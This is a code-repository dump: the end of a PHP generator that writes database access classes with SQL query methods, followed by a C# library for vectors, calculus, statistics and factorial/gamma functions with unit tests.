$codeGenColumn->_strDefault === 'CURRENT_TIMESTAMP' ) { $s2 .= "$strComma \" .(isset(\$this->_" . $codeGenColumn->_strNamePhp . ")? \"'\".dbEscStr(\$this->_" . $codeGenColumn->_strNamePhp . ").\"'\":\"NOW()\").\""; } else { $s2 .= "$strComma '\" .(isset(\$this->_" . $codeGenColumn->_strNamePhp . ")? dbEscStr(\$this->_" . $codeGenColumn->_strNamePhp . "): " . $tb->_strNamePhp . '::$_' . strtoupper( $codeGenColumn->_strNamePhp ) . "_DEFAULT) . \"'"; } } $this->code[] = " return \"insert into `" . $tb->_strNameDB . "` ($strAutoCol$s) values ($strAutoVal$s2)\";"; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * @param $strWhere string Where part without "where", eg "col=123" '; $this->code[] = ' * @return string SQL Query for an update command'; $this->code[] = ' */'; $this->code[] = ' function updateSQL( $strWhere = "" ) {'; $s2 = $w = $strSinglePrimKey = $strSinglePrimKey2 = ""; foreach ( $tb->_arrColumns as $codeGenColumn ) { if ( $codeGenColumn->_strKey == "PRI" ) { if ( $w ) { $w .= " and "; $strSinglePrimKey = ''; } else $strSinglePrimKey = "`" . ( $strSinglePrimKey2 = $codeGenColumn->_strNameDB ) . "`"; $w .= "`" . $codeGenColumn->_strNameDB . "`='\" . dbEscStr( \$this->_" . $codeGenColumn->_strNamePhp . " ) .\"'"; } } $this->code[] = ' if ( ! $strWhere ) $strWhere = "' . $w . '";'; $this->code[] = " return \"update `" . $tb->_strNameDB . "` set \" . \$this->dbSetCols() . ' where '.\$strWhere;"; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * @param $strWhere string SQL Where part without where. Eg. "id>10 order by id limit 1,2"'; $this->code[] = ' * @param $fCopy boolean Store copy? Needed in update, to set only changed values.'; $this->code[] = ' * @param $strSelectColumns string Comma separated column names.'; $this->code[] = ' * @return ' . $tb->_strNamePhp . '[]'; $this->code[] = ' */'; $this->code[] = ' static function dbLoadMany( $strWhere, $fCopy = false, $strSelectColumns = "" ) {'; $this->code[] = ' if ( stripos( $strWhere, "limit " ) === false ) $strWhere .= " limit 0, 500";'; $this->code[] = ' $arr = array();'; $this->code[] = ' $result = dbQuery( ' . $tb->_strNamePhp . '::selectSQL( $strWhere, $strSelectColumns ) );'; $this->code[] = ' if ( $result ) {'; $this->code[] = ' while ( $row = mysqli_fetch_assoc( $result ) ) {'; $this->code[] = ' $o = new ' . $tb->_strNamePhp . '();'; $this->code[] = ' $o->fromDBRow( $row );'; $this->code[] = ' if ( $fCopy ) $o->setLoadDbObj();'; if ( $strSinglePrimKey ) $this->code[] = " \$arr[ '' . \$row[ '$strSinglePrimKey2' ] ] = \$o;"; else $this->code[] = " \$arr[] = \$o;"; $this->code[] = ' } '; $this->code[] = ' dbFreeResult( $result );'; $this->code[] = ' };'; $this->code[] = ' return $arr;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * @param string $strWhere Where part without "where", eg "col=123" '; $this->code[] = ' * @param string $strSelect Select database columns,eg "id, col3" '; $this->code[] = ' * @return string SQL Query for a select command with all columns'; $this->code[] = ' */'; $this->code[] = ' static function selectSQL( $strWhere, $strSelect = "" ) {'; if ( $strSinglePrimKey ) $this->code[] = ' if ( ( (string) ( (int) $strWhere ) ) == ( (string) $strWhere ) ) $strWhere = "' . $strSinglePrimKey . '=" . intval( $strWhere );'; $this->code[] = " return \"select \" . ( \$strSelect ? \$strSelect : self::dbColNames() ) . \" from `" . $tb->_strNameDB . "`\" . ( \$strWhere ? ' where ' : '' ) . \$strWhere;"; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * @param string $strWhere Where part without "where", eg "col=123" '; $this->code[] = ' * @return string SQL Query for a delete command'; $this->code[] = ' */'; $this->code[] = " function deleteSQL( \$strWhere = '' ) {"; $this->code[] = ' if ( ! $strWhere ) $strWhere = "' . $w . '";'; $this->code[] = " return \"delete from `" . $tb->_strNameDB . "` where \" . \$strWhere;"; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; $this->code[] = ' /**'; $this->code[] = ' * @return string All members in one string. Format: [name:value],[name:value],..'; $this->code[] = ' */'; $this->code[] = ' function toString() {'; $this->code[] = ' $str = "";'; $this->code[] = ' foreach ( self::$_MAPPING as $strMember ) $str .= ( $str ? ", ":"" ) . "[$strMember:" . ( isset( $this->$strMember ) ? $this->$strMember : "" ) . "]";'; $this->code[] = ' return $str;'; $this->code[] = ' }'; $this->code[] = ''; $this->code[] = ''; // last) footer $this->code[] = '}'; $this->code[] = '/** this class was automatically generated by class-gen **/'; $this->code[] = ''; $this->code = implode( "\n", $this->code ); } static function getLengthNumber( &$strFieldInfo ) { $pos1 = strpos( $strFieldInfo, "(" ); $pos2 = strpos( $strFieldInfo, ")" ); if ( $pos1 === false || $pos2 === false ) return false; return substr( $strFieldInfo, $pos1 + 1, $pos2 - $pos1 - 1 ); } static function getType( &$strFieldInfo ) { $pos1 = strpos( $strFieldInfo, "(" ); if ( $pos1 === false ) return $strFieldInfo; return substr( $strFieldInfo, 0, $pos1 ); } /** * writes the data to file * * @param string filename * @param string content */ function writeFile( CodeGenTable $tb ) { $strFilename = $this->_strPath . $tb->_strNamePhp . ".php"; $fh = fopen( $strFilename, 'w' ); if ( $fh ) { fwrite( $fh, $this->code ); fclose( $fh ); echo "$strFilename created<br/>"; } else echo "CAN NOT WRITE $strFilename"; } /** * this function renames a given mysql name * the normally given mysql name is with a lot underscores, in php i need * the camelcase * e.g.: acl_user_id => aclUserId * * @param string $strMySqlName string * @param string $strPrefix like get, set or is * @return string output camel-case foramtted string */ function rename( $strMySqlName, $strPrefix = '' ) { if ( $strPrefix && strpos( strtolower( $strMySqlName ), strtolower( $strPrefix ) ) === 0 ) { $strMySqlName = substr( $strMySqlName, strlen( $strPrefix ) ); } $strMySqlName = preg_replace( '/[^a-zA-Z0-9]/', '_', trim( $strMySqlName ) ); $arrParts = explode( '_', $strMySqlName ); $strReturn = ''; foreach ( $arrParts as $p => $strPart ) { // the first letter had to be lowercase if ( ! $strReturn ) { $strReturn .= strtolower( $strPart ); } else { $strReturn .= ucfirst( strtolower( $strPart ) ); } } //echo count($arrParts)."rename($strMySqlName)=$strReturn, "; return $strReturn; } /** * debug stuff to console output */ function debug( $str ) { if ( $this->_debug ) { echo 'debug: ' . $str . "\n"; } } } ?>
b75f09b776b91bb3ee37181b4843ddd3cba06fd1
[ "Markdown", "PHP" ]
12
PHP
alieneby/alien-framework-code
baeba433793359113f665a55759846ccde58c116
1aba195f05cb0c0aa58b3545c2f2e176848d52b8
refs/heads/master
<repo_name>NataliaJozwiak/kalkulator2017<file_sep>/kalkulatory.py def get_help(): print('To jest prosty program kalkulatora. Wproadz dwie liczby i zatwierdz.') def dodawanie(a, b): wynik = a + b return wynik get_help() zm1 = int(input()) zm2 = int(input()) print(dodawanie(zm1,zm2))
757d979b164ec59a31846f0f65962a27ef883585
[ "Python" ]
1
Python
NataliaJozwiak/kalkulator2017
55c7d359dae6ecc1b098a946e3be90c146cab6e4
55a0b1a02b0c861ff1586d045531a6e81ddd1bc6
refs/heads/master
<file_sep>import React, { Component } from "react"; import Layout from "./components/Layout"; import { Form, Dropdown, Message } from "semantic-ui-react"; import request from "superagent"; import "./App.css"; import Activity from "./components/displayActivity"; import Weather from "./components/displayWeather"; import moment from "moment"; const appOptions = [ { key: 1, text: "Weather Forecast", value: "weather" }, { key: 2, text: "Add Activity", value: "activity" }, { key: 3, text: "Edit Activity", value: "edit" }, { key: 4, text: "Delete Activity", value: "delete" } ]; const currentYear = new Date().getFullYear(); var weekday = new Array(7); weekday[0] = "Sunday"; weekday[1] = "Monday"; weekday[2] = "Tuesday"; weekday[3] = "Wednesday"; weekday[4] = "Thursday"; weekday[5] = "Friday"; weekday[6] = "Saturday"; class App extends Component { state = { formOptions: "", month: "", day: "", title: "", description: "", date: "", requests: [], index: "", summary: "", temperature: "", day_weather: "", date_weather: "", errorMessage: "" }; componentDidMount() { request .get("http://localhost:5000/api/user") .then(async res => { //console.log("Test: " + res.body[0]._id); let requests = await Promise.all( Array(parseInt(res.body.length)) .fill() .map((element, index) => { return res.body[index]; }) ); this.setState({ requests: requests }); }) .catch((err, res) => { if (err || !res.ok) { console.log("Oh no! err"); } else { console.log("Success"); } }); } getWeather = async e => { e.preventDefault(); this.setState({ errorMessage: "" }); const date = `${currentYear}-${this.state.month}-${this.state.day}`; const unixTime = new Date(date).getTime() / 1000; //console.log(date); // console.log("Unix Timee: " + unixTime); request .get(`http://localhost:3001/api/darkSky?time=${unixTime}`) .then(async res => { // console.log("Test: " + res.body); // console.log(res.body.currently.summary); // console.log(res.body.currently.temperature); var d = new Date(unixTime * 1000); var dayofWeek = weekday[d.getDay()]; // console.log(dayofWeek); this.setState({ summary: res.body.currently.summary, temperature: res.body.currently.temperature, day_weather: dayofWeek, date_weather: date }); }) .catch((err, res) => { if (err || !res.ok) { console.log("Oh no! err"); this.setState({ errorMessage: "Invalid Month or date" }); } else { console.log("Success"); } }); }; saveData = async e => { e.preventDefault(); this.setState({ errorMessage: "" }); var date = moment(this.state.date); if (date.isValid()) { request .post("http://localhost:5000/api/user") .send({ title: this.state.title, description: this.state.description, date: this.state.date }) .then(response => { request.get("http://localhost:5000/api/user").then(async res => { let requests = await Promise.all( Array(parseInt(res.body.length)) .fill() .map((element, index) => { return res.body[index]; }) ); this.setState({ requests: requests }); // console.log(this.state.requests); }); }) .catch(error => { console.log(error); }); } else { this.setState({ errorMessage: "Invalid Date" }); } }; editData = async e => { e.preventDefault(); this.setState({ errorMessage: "" }); var date = moment(this.state.date); if (date.isValid()) { request .put( `http://localhost:5000/api/user/${ this.state.requests[this.state.index]._id }` ) .send({ title: this.state.title, description: this.state.description, date: this.state.date }) .then(response => { request.get("http://localhost:5000/api/user").then(async res => { let requests = await Promise.all( Array(parseInt(res.body.length)) .fill() .map((element, index) => { return res.body[index]; }) ); this.setState({ requests: requests }); // console.log(this.state.requests); }); }) .catch(error => { console.log(error); }); } else { this.setState({ errorMessage: "Invalid Date" }); } }; deleteData = async e => { e.preventDefault(); request .del( `http://localhost:5000/api/user/${ this.state.requests[this.state.index]._id }` ) .then(response => { request.get("http://localhost:5000/api/user").then(async res => { let requests = await Promise.all( Array(parseInt(res.body.length)) .fill() .map((element, index) => { return res.body[index]; }) ); this.setState({ requests: requests }); // console.log(this.state.requests); }); }) .catch(error => { console.log(error); }); }; render() { const formOptions = this.state.formOptions; let choice, buttonOptions; if (this.state.formOptions === "weather") { choice = ( <div> <h4>Enter the Month and Day</h4> <Form.Group widths="equal"> <Form.Input fluid label="Month" placeholder="Month (e.g. 02)" value={this.state.month} onChange={event => this.setState({ month: event.target.value })} /> <Form.Input fluid label="Day" placeholder="Day (e.g. 23)" value={this.state.day} onChange={event => this.setState({ day: event.target.value })} /> </Form.Group> </div> ); buttonOptions = this.getWeather; } else if (this.state.formOptions === "activity") { choice = ( <div> <h4>Enter your activity</h4> <Form.Group widths="equal"> <Form.Input required fluid label="Title" placeholder="Title" value={this.state.title} onChange={event => this.setState({ title: event.target.value })} /> <Form.Input required fluid label="Description" placeholder="Description" value={this.state.description} onChange={event => this.setState({ description: event.target.value }) } /> <Form.Input required fluid label="Date" placeholder="Date (e.g. YYYY-MM-DD)" value={this.state.date} onChange={event => this.setState({ date: event.target.value })} /> </Form.Group> </div> ); buttonOptions = this.saveData; } else if (this.state.formOptions === "edit") { choice = ( <div> <h4>Edit your activity</h4> <Form.Group widths="equal"> <Form.Input fluid label="ID" placeholder="ID" value={this.state.index} onChange={event => this.setState({ index: event.target.value })} /> <Form.Input fluid label="Title" placeholder="Title" value={this.state.title} onChange={event => this.setState({ title: event.target.value })} /> <Form.Input fluid label="Description" placeholder="Description" value={this.state.description} onChange={event => this.setState({ description: event.target.value }) } /> <Form.Input fluid label="Date" placeholder="Date" value={this.state.date} onChange={event => this.setState({ date: event.target.value })} /> </Form.Group> </div> ); buttonOptions = this.editData; } else if (this.state.formOptions === "delete") { choice = ( <div> <h4>Delete your activity</h4> <Form.Group widths="equal"> <Form.Input fluid label="ID" placeholder="ID" value={this.state.index} onChange={event => this.setState({ index: event.target.value })} /> </Form.Group> </div> ); buttonOptions = this.deleteData; } return ( <Layout> <Form error={!!this.state.errorMessage} onSubmit={buttonOptions} style={{ marginBottom: 10 }} > <Dropdown style={{ marginBottom: "5px" }} placeholder="Choose your activity" openOnFocus selection options={appOptions} value={this.state.formOptions} onChange={(event, data) => this.setState({ formOptions: data.value }) } /> {choice} <Message error header="Oops!" content={this.state.errorMessage} /> <Form.Button color="red">Submit</Form.Button> </Form> <Weather summary={this.state.summary} temperature={this.state.temperature} day={this.state.day_weather} date={this.state.date_weather} /> <Activity requests={this.state.requests} /> </Layout> ); } } export default App; <file_sep>import React from "react"; import ReactDOM from "react-dom"; import App from "./App"; import Activity from "./components/displayActivity"; import Weather from "./components/displayWeather"; describe("MSD Test", () => { it("renders without crashing", () => { const div = document.createElement("div"); ReactDOM.render(<App />, div); ReactDOM.unmountComponentAtNode(div); }); it("Test activity planner", () => { const div = document.createElement("div"); const requests = ["Test", "Test", "2019-03-15"]; ReactDOM.render(<Activity requests={requests} />, div); ReactDOM.unmountComponentAtNode(div); }); it("Test weather forecast", () => { const div = document.createElement("div"); const summary = "cloudy"; const temperature = "29"; const day_weather = "Friday"; const date_weather = "2019-03-15"; ReactDOM.render( <Weather summary={summary} temperature={temperature} day={day_weather} date={date_weather} />, div ); ReactDOM.unmountComponentAtNode(div); }); }); <file_sep># msd-submission ## How to run the app - cd to Folder - On the command line, type "npm run dev" <file_sep>import React, { Component } from "react"; import request from "superagent"; import { Table, Button } from "semantic-ui-react"; import RequestRow from "./RequestRow"; class Activity extends Component { state = { requests: this.props.requests }; renderRows() { return this.props.requests.map((requests, index) => { return ( <RequestRow key={index} id={index} title={requests.title} description={requests.description} date={requests.date} /> ); }); } render() { const { Header, Row, HeaderCell, Body } = Table; return ( <div> <h4>Here is a List of Activities</h4> <Table> <Header> <Row> <HeaderCell>ID</HeaderCell> <HeaderCell>Title</HeaderCell> <HeaderCell>Description</HeaderCell> <HeaderCell>Date</HeaderCell> </Row> </Header> <Body>{this.renderRows()}</Body> </Table> </div> ); } } export default Activity; <file_sep>import React from "react"; //Semantic Ui React Script CSS export default () => { return ( <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.3.1/semantic.min.css" /> ); }; <file_sep>import React, { Component } from "react"; import { Table } from "semantic-ui-react"; class RequestRow extends Component { render() { const { Row, Cell } = Table; const { id, title, description, date } = this.props; return ( <Row> <Cell>{id}</Cell> <Cell>{title}</Cell> <Cell>{description}</Cell> <Cell>{date}</Cell> </Row> ); } } export default RequestRow; <file_sep>module.exports = { mongoURI: "mongodb://admin:<PASSWORD>@ds<EMAIL>.mlab.com:33275/msd-dev" }; <file_sep>var express = require("express"); var bodyParser = require("body-parser"); require("es6-promise").polyfill(); require("isomorphic-fetch"); var port = 3001; // Configure app to use bodyParser to parse json data var app = express(); var server = require("http").createServer(app); app.use(bodyParser.urlencoded({ extended: true })); app.use(bodyParser.json()); app.use(function(req, res, next) { res.setHeader("Access-Control-Allow-Origin", "*"); res.setHeader("Access-Control-Allow-Credentials", "true"); res.setHeader( "Access-Control-Allow-Methods", "GET,HEAD,OPTIONS,POST,PUT,DELETE" ); res.setHeader( "Access-Control-Allow-Headers", "Access-Control-Allow-Headers, Origin,Accept, X-Requested-With, Content-Type, Access-Control-Request-Method, Access-Control-Request-Headers" ); //and remove cacheing so we get the most recent comments res.setHeader("Cache-Control", "no-cache"); next(); }); // Test server is working (GET http://localhost:3001/api) app.get("/api/", function(req, res) { res.json({ message: "Hi, welcome to the server api!" }); }); // Following is an example to proxy client request to DarkSky forecast API var DARKSKY_SECRET_KEY = "<KEY>"; var url_prefix = "https://api.darksky.net/forecast/" + DARKSKY_SECRET_KEY + "/1.3521,103.8198,"; app.get("/api/darksky", function(req, res) { try { // Retrieves location coordinates (latitude and longitude) from client request query var time = req.query.time; var url = url_prefix + time + "?units=si"; console.log("Fetching " + url); fetch(url) .then(function(response) { if (response.status != 200) { res .status(response.status) .json({ message: "Bad response from Dark Sky server" }); } return response.json(); }) .then(function(payload) { res.status(200).json(payload); }); } catch (err) { console.log("Errors occurs requesting Dark Sky API", err); res .status(500) .json({ message: "Errors occurs requesting Dark Sky API", details: err }); } }); // Start the server server.listen(port); console.log("Server is listening on port " + port); <file_sep>import React, { Component } from "react"; import { Card, Grid } from "semantic-ui-react"; class Weather extends Component { renderCards() { const items = [ { header: `Date: ${this.props.date} ${this.props.day}`, description: `Weather: ${this.props.summary}`, meta: `Temperature: ${this.props.temperature}` } ]; return <Card.Group items={items} />; } render() { return ( <div> <h4>Here is the Weather Forecast</h4> <Grid style={{ marginBottom: 10 }}> <Grid.Row> <Grid.Column width={10}>{this.renderCards()}</Grid.Column> </Grid.Row> </Grid> </div> ); } } export default Weather;
8fa2b0291b75f67d2912d8f3aca03952e68158c0
[ "JavaScript", "Markdown" ]
9
JavaScript
Liiiyang/msd-submission
e683a4185f10b2ca778c2a0d1d9762f6d1a11e82
361fc48aa9aee4b9f1fe60bd1576920e995bb058
refs/heads/main
<file_sep>package com.example.springkotlin import javax.persistence.Entity import javax.persistence.GeneratedValue import javax.persistence.Id @Entity data class Account( @Id @GeneratedValue var id: Long? = null, var name: String = "", var document: String = "", var balance: Long? = 0 )<file_sep>spring.datasource.url=jdbc:postgresql://postgresqldb:5432/spring-kotlin spring.datasource.username=postgres spring.datasource.password=<PASSWORD> spring.jpa.show-sql=true spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.PostgreSQLDialect spring.jpa.generate-ddl=true<file_sep>## Spring-kotlin :book: Project development with spring-boot and kotlin for study of language ## 📌 Index - ⚙ [Settings](#-settings) - 💻 [Technologies](#-technologies) - 🚀 [How to run](#-how-to-run) --- ## ⚙ Settings Install the wsl2 docker on windows. - Tutorial used for installation of docker with wsl2: https://github.com/codeedu/wsl2-docker-quickstart --- ## 💻 Technologies - Kotlin - Spring Boot - PostgreSQL - Docker - Gradle --- ## 🚀 How to run ### Cloning repository https://github.com/wanderleimagri/spring-kotlin.git ### Accessing web project cd spring-kotlin ### Running web project (in the terminal) docker-compose up --build --force-recreate * docker-compose up = start all services and images defined in the .yml file * --build = builds images before starting container * --force-recreate = recreate containers even if their configuration and image haven't changed #### Get (all) http://localhost:8080/accounts #### Post http://localhost:8080/accounts body(json) = { "name":"Pedro", "document":"4" } #### Put http://localhost:8080/accounts/1 body(json) = { "name":"<NAME>", "document":"1", "balance":"100" } #### Delete http://localhost:8080/accounts/2 <file_sep>rootProject.name = "springkotlin"
98e0d39f39b1f38ac394f94e15b320e633803a34
[ "Markdown", "Kotlin", "INI" ]
4
Kotlin
wanderleimagri/spring-kotlin
6c2940d9bbe6282a0a26f2d9befa3df1e4884f0e
d6ea2c2692e941f1676ecaa72a3bc89392b07e86
refs/heads/master
<repo_name>GuillaumeM59/guillaume-manier.fr<file_sep>/app/models/project.rb class Project < ActiveRecord::Base has_many :languages mount_uploader :visual, ProjectsvisualUploader end <file_sep>/app/models/friend.rb class Friend < ActiveRecord::Base mount_uploader :logobrand, FriendsbrandUploader end <file_sep>/app/models/meeting.rb class Meeting < ActiveRecord::Base mount_uploader :flyer, MeetingsflyerUploader end <file_sep>/db/migrate/20160311102628_add_lang_id_to_project.rb class AddLangIdToProject < ActiveRecord::Migration def change remove_column :projects, :langsused add_column :projects, :lang_id1, :string add_column :projects, :lang_id2, :string add_column :projects, :lang_id3, :string add_column :projects, :lang_id4, :string add_column :projects, :lang_id5, :string add_column :projects, :lang_id6, :string end end <file_sep>/app/views/projects/index.json.jbuilder json.array!(@projects) do |project| json.extract! project, :id, :name, :client, :description, :progress, :visual, :visual_cache json.url project_url(project, format: :json) end <file_sep>/app/controllers/static_pages_controller.rb class StaticPagesController < ApplicationController def home end def getcv #format.pdf do if File.exist?("#{Rails.root}/public/Guillaume_MANIER_CV.pdf") File.delete("#{Rails.root}/public/Guillaume_MANIER_CV.pdf") end render :pdf => "Guillaume_MANIER_CV", :template => 'static_pages/_pcv.html.erb', :save_to_file => Rails.root.join('public', "Guillaume_MANIER_CV.pdf"), :save_only => true send_file "#{Rails.root}/public/Guillaume_MANIER_CV.pdf", :type=>"application/pdf", :x_sendfile=>true end end <file_sep>/db/migrate/20160307203230_add_flyer_to_meetings.rb class AddFlyerToMeetings < ActiveRecord::Migration def change add_column :meetings, :flyer, :string add_column :meetings, :flyer_cache, :string end end <file_sep>/app/models/language.rb class Language < ActiveRecord::Base mount_uploader :logolang, LanguageslogoUploader end <file_sep>/app/views/subscribers/show.json.jbuilder json.extract! @subscriber, :id, :email, :subscribe, :created_at, :updated_at <file_sep>/app/views/friends/show.json.jbuilder json.extract! @friend, :id, :name, :url, :logobrand, :logobrand_cache, :created_at, :updated_at <file_sep>/db/migrate/20160306165622_create_projects.rb class CreateProjects < ActiveRecord::Migration def change create_table :projects do |t| t.string :name t.string :client t.string :client_url t.text :description t.integer :progress t.string :visual t.string :visual_cache t.timestamps null: false end end end
3d6078a9226e106dce2f4fa97f96d234bef4d676
[ "Ruby" ]
11
Ruby
GuillaumeM59/guillaume-manier.fr
314b52f4107a662776dbc309ab411667335aec7b
0cb5f6c75c2072e35e6b6062cbc79ff73925aed3
refs/heads/master
<file_sep>package io.datamass; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.LongWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Mapper; import java.io.IOException; public class MapWordCount extends Mapper<LongWritable, Text, Text, IntWritable> { int columnTotal =0; public void map(LongWritable key, Text value, Context con) throws IOException, InterruptedException { String line = value.toString(); String[] words=line.split("\t"); if (words[0].length()<3) { columnTotal=Integer.parseInt(words[1]); } if (columnTotal!=0) { int nrOfOccur = Integer.parseInt(words[1]); int percent = nrOfOccur*100/columnTotal; String word = words[0] + "-" +nrOfOccur; Text outputKey = new Text(word.toUpperCase().trim()); IntWritable outputValue = new IntWritable(percent); con.write(outputKey, outputValue); } } }
32d0d7f726998bd22357ade5d23253bd02a0d499
[ "Java" ]
1
Java
adamLeoKainos/CounterMapReduceJavaExample
f6e3fc307790138c270752d73433f0f67e8d861c
ac0c48f5f7029ad5e246494855692a93789f2122
refs/heads/master
<repo_name>AlanEdmiston/AdvancedMaths<file_sep>/AE.AdvancedMaths/Vector3D.cs using System; namespace AE.AdvancedMaths { public class Vector3D { Vector compositionVector; public Vector3D() { this.compositionVector = new Vector(3); } public Vector3D(double x, double y, double z) { this.compositionVector = new Vector(new double[] { x, y, z }); } private Vector3D(Vector compositionVector) { this.compositionVector = compositionVector; } public double x { get { return this.compositionVector.elements[0]; } set { this.compositionVector.elements[0] = value; } } public double y { get { return this.compositionVector.elements[1]; } set { this.compositionVector.elements[1] = value; } } public double z { get { return this.compositionVector.elements[2]; } set { this.compositionVector.elements[2] = value; } } public static Vector3D operator +(Vector3D vect1, Vector3D vect2) { return new Vector3D(vect1.compositionVector + vect2.compositionVector); } public static Vector3D operator -(Vector3D vect1, Vector3D vect2) { Vector newVect = vect1.compositionVector - vect2.compositionVector; return new Vector3D(newVect); } public static Vector3D operator -(Vector3D vect1) { return new Vector3D(-vect1.compositionVector); } public static Vector3D operator *(double scalar, Vector3D vect) { Vector3D output = new Vector3D(scalar * vect.compositionVector); return output; } public static Vector3D operator *(Vector3D vect, double scalar) { Vector3D output = new Vector3D(scalar * vect.compositionVector); return output; } public static Vector3D operator /(Vector3D vect, double scalar) { Vector3D output = new Vector3D(vect.compositionVector / scalar); return output; } public static double operator *(Vector3D vect1, Vector3D vect2) { return vect1.compositionVector * vect2.compositionVector; } public static Vector3D CrossProduct(Vector3D vect1, Vector3D vect2) { Vector3D output = new Vector3D(vect1.y * vect2.z - vect1.z * vect2.y, vect1.z * vect2.x - vect1.x * vect2.z, vect1.x * vect2.y - vect1.y * vect2.x); return output; } public double Mod { get { return this.compositionVector.Mod; } } public Vector3D UnitVector { get { return new Vector3D(this.compositionVector.UnitVector); } } public override string ToString() { return "{" + x.ToString() + ", " + y.ToString() + ", " + z.ToString() + "}"; } public static Func<Vector3D, Vector3D> Curl(Func<Vector3D, double> field, double epsilon) { return v => { //z-y //x-z //y-x return new Vector3D( field(v + new Vector3D(0, 0, epsilon)) - field(v - new Vector3D(0, 0, epsilon)) - (field(v + new Vector3D(0, epsilon, 0)) - field(v - new Vector3D(0, epsilon, 0))), field(v + new Vector3D(epsilon, 0, 0)) - field(v - new Vector3D(epsilon, 0, 0)) - (field(v + new Vector3D(0, 0, epsilon)) - field(v - new Vector3D(0, 0, epsilon))), field(v + new Vector3D(0, epsilon, 0)) - field(v - new Vector3D(0, epsilon, 0)) - (field(v + new Vector3D(epsilon, 0, 0)) - field(v - new Vector3D(epsilon, 0, 0)))) / (2 * epsilon); }; } } } <file_sep>/AE.AdvancedMaths.Test/StatisticsTest.cs using System; using System.Collections.Generic; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace AE.AdvancedMaths.Test { [TestClass] public class StatisticsTest { List<double> XData = new List<double> { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11}; List<double> YData = new List<double> { 1, 9, 6, 5, 0, 13, 7, -2, 11, 9, 4}; List<double> XD = new List<double>(); List<double> fX = new List<double>(); [TestMethod] void MedianTest() { double med = Statistics.Median(YData); Assert.AreEqual(med, 6); } [TestMethod] void SkewTest() { double skew = Statistics.Skew(YData); skew = Math.Round(skew, 3); Assert.AreEqual(skew, -.183); } [TestMethod] void StandardDeviationTest() { double stdev = Statistics.StandardDeviation(YData); stdev = Math.Round(stdev, 3); Assert.AreEqual(stdev, 4.494); } [TestMethod] void PearsonsTest() { double pearsons = Statistics.Pearsons(XData, YData); pearsons = Math.Round(pearsons, 3); Assert.AreEqual(pearsons, 0.147); } [TestMethod] void FourierTest() { double[,] ab; int funcs = 50; ab = Statistics.FourierDataFitting(XData, YData, funcs); } } } <file_sep>/AE.AdvancedMaths/Calculus.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace AE.AdvancedMaths { static class Calculus { public static double IntegrateTrapesium(Func<double, double> function, double start, double end, int increments) { double integral = 0; for (int i = 0; i <= increments; i++) { double nextValue = function(start + i * (end - start) / increments) * (end - start) / increments; if (i == 0 || i == increments) { integral += nextValue / 2; } else { integral += nextValue; } } return integral; } public static double IntegrateSimpsons2(Func<double, double> function, double start, double end, int increments) { double integral = 0; for (int i = 0; i <= increments; i++) { double nextValue = function(start + i * (end - start) / increments) * (end - start) / (3 * increments); if (i == 0 || i == increments) { integral += nextValue; } else if (i % 2 == 0) { integral += 2 * nextValue; } else { integral += 4 * nextValue; } } return integral; } public static double IntegrateSimpsons3(Func<double, double> function, double start, double end, int increments) { double integral = 0; for (int i = 0; i <= increments; i++) { double nextValue = 3 * function(start + i * (end - start) / increments) * (end - start) / increments / 8; if (i == 0 || i == increments) { integral += nextValue; } else if (i % 3 == 0) { integral += nextValue; } else { integral += 3 * nextValue; } } return integral; } public static decimal IntegrateTrapesium(Func<decimal, decimal> function, decimal start, decimal end, int increments) { decimal integral = 0; for (int i = 0; i <= increments; i++) { decimal nextValue = function(start + i * (end - start) / increments) * (end - start) / increments; if (i == 0 || i == increments) { integral += nextValue / 2; } else { integral += nextValue; } } return integral; } public static decimal IntegrateSimpsons2(Func<decimal, decimal> function, decimal start, decimal end, int increments) { decimal integral = 0; for (int i = 0; i <= increments; i++) { decimal nextValue = function(start + i * (end - start) / increments) * (end - start) / (3 * increments); if (i == 0 || i == increments) { integral += nextValue; } else if (i % 2 == 0) { integral += 2 * nextValue; } else { integral += 4 * nextValue; } } return integral; } public static decimal IntegrateSimpsons3(Func<decimal, decimal> function, decimal start, decimal end, int increments) { decimal integral = 0; for (int i = 0; i <= increments; i++) { decimal nextValue = 3 * function(start + i * (end - start) / increments) * (end - start) / increments / 8; if (i == 0 || i == increments) { integral += nextValue; } else if (i % 3 == 0) { integral += nextValue; } else { integral += 3 * nextValue; } } return integral; } public static Func<double, double> Derivative(Func<double, double> function, double epsilon) { return x => ((x + epsilon) - function(x - epsilon)) / (2 * epsilon); } public static Func<decimal, decimal> Derivative(Func<decimal, decimal> function, decimal epsilon) { return x => ((x + epsilon) - function(x - epsilon)) / (2 * epsilon); } } } <file_sep>/AE.AdvancedMaths/FactorialAndGamma.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace AE.AdvancedMaths { public class FactorialAndGamma { public static int Fact(int n) { if(n > 12) { throw new ArgumentException("n is too large"); } int factorial = 1; for (int i = 2; i < n + 1; i++) { factorial = factorial * i; } return factorial; } public static long LargeFact(int n) { long factorial = 1; if (n > 20) { throw new ArgumentException("n is too large"); } for (int i = 2; i < n + 1; i++) { factorial = factorial * i; } return factorial; } public static double LnFactStirling(double n) { double output = n * Math.Log(n) - n + 0.5 * Math.Log(2 * Math.PI * n) + 1 / (12 * n) - 1 / (360 * Math.Pow(n, 3)) + 1 / (1260 * Math.Pow(n, 5)) - 1 / (1680 * Math.Pow(n, 7)); return (output); } public static double GammaStirling(double n) { return Math.Exp(LnFactStirling(n - 1)); } } } <file_sep>/AE.AdvancedMaths/Vector2D.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace AE.AdvancedMaths { public class Vector2D { Vector compositionVector; public Vector2D() { this.compositionVector = new Vector(3); } public Vector2D(double x, double y) { this.compositionVector = new Vector(new double[] { x, y }); } private Vector2D(Vector compositionVector) { this.compositionVector = new Vector(new double[] { x, y }); } 